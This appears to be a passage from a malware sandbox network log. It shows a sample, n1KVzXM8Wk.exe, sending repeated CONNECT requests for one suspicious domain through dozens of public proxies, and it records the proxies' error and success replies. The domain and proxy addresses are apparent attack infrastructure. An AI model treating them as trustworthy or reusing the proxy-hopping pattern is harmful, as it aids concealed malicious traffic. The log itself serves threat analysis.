Feb 23, 2024 09:45:39.647082090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.4	53637	171.244.140.160	17525	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.253904104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129618883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219419956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.4	53735	176.98.81.85	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.254252911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.4	53610	178.128.82.105	17802	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.254661083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178169012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.4	53768	185.162.230.201	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.274492025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.361788988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.4	53257	79.110.201.235	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.285762072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.4	52123	103.230.126.123	46497	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.286500931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.4	53753	51.75.122.102	25522	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.287163019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.4	52823	103.153.187.198	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.290745020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.4	53705	58.75.126.235	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.308716059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.4	53756	47.179.5.8	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.309767962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.4	53682	222.243.201.153	9992	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.310100079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.875525951 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.4	53553	117.160.250.133	8899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.313726902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.815222979 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.4	53782	162.159.247.92	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.323545933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.411513090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.4	53245	202.12.80.11	83	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.338285923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.365849018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.366086006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.365998030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:50.381225109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:02.381144047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:04.019308090 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.4	53724	8.219.97.248	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.338423967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.700354099 CET	743	IN	HTTP/1.1 502 Bad Gateway Server: Tengine Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 596 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 39 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 32 2f 32 33 20 31 36 3a 34 35 3a 32 36 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://heygirlisheeverythingyouwantedinaman.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww9z</td></tr><tr><td>Date:</td><td>2024/02/23 16:45:26</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.4	53128	72.195.34.58	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.339301109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.865756035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.366033077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.4	53037	162.253.68.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.350426912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.4	53252	146.190.85.79	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.383949041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.813910961 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.6 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3702 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERRO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.4	53503	112.30.155.83	12792	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.384006977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.048614025 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 09:45:28.601264954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.4	53741	161.189.182.145	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.414385080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.827486038 CET	147	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.45 Server: squid/4.14 Content-Length: 0
Feb 23, 2024 09:45:27.212523937 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:27.218698978 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.4	53722	113.204.4.142	10800	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.415549040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.4	53780	45.138.87.238	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.459944963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.4	53755	8.217.187.52	24002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.460683107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.4	53401	92.204.134.38	59727	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.474375963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475100040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.4	53778	59.6.26.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.474483967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.4	53322	31.169.80.165	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.506145954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.4	53796	51.158.64.130	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.531512976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129618883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700229883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716589928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.088380098 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.4	53362	190.202.48.182	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.538736105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.4	53367	5.161.98.204	58199	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.549014091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
